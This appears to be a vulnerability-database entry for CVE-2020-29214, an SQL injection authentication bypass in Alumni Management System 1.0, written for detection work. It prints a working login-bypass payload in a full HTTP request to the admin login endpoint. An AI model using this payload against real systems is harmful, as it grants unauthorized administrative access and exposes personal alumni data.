🔙 목록으로 돌아가기

CVE-2020-29214: Alumni Management System 1.0 - SQL Injection

TitleAlumni Management System 1.0 - SQL Injection
Authorarafatansari
SeverityCritical
ImpactUnauthenticated attackers can bypass authentication through SQL injection, gaining administrative access to the Alumni Management System and access to all alumni data.
RemediationApply vendor patches or upgrade to a patched version.
CVSS Score9.8
EPSS Score0.47269
CVE IDCVE-2020-29214
CWE IDCWE-89
Tags cve cve2020 sqli auth-bypass cms edb alumni vuln

🔍 Vulnerability Description

SourceCodester Alumni Management System 1.0 contains a sql_injection caused by unsanitized input in admin/login.php, letting attackers bypass authentication, exploit requires injection of malicious SQL payload.

🌐 HTTP Request

POST /admin/ajax.php?action=login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Connection: close
Content-Length: 46
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

username=admin'+or+'1'%3D'1'%23&password=4sJC5
GET /admin/index.php?page=home HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 14_4_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.3.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-29214.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-29214.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A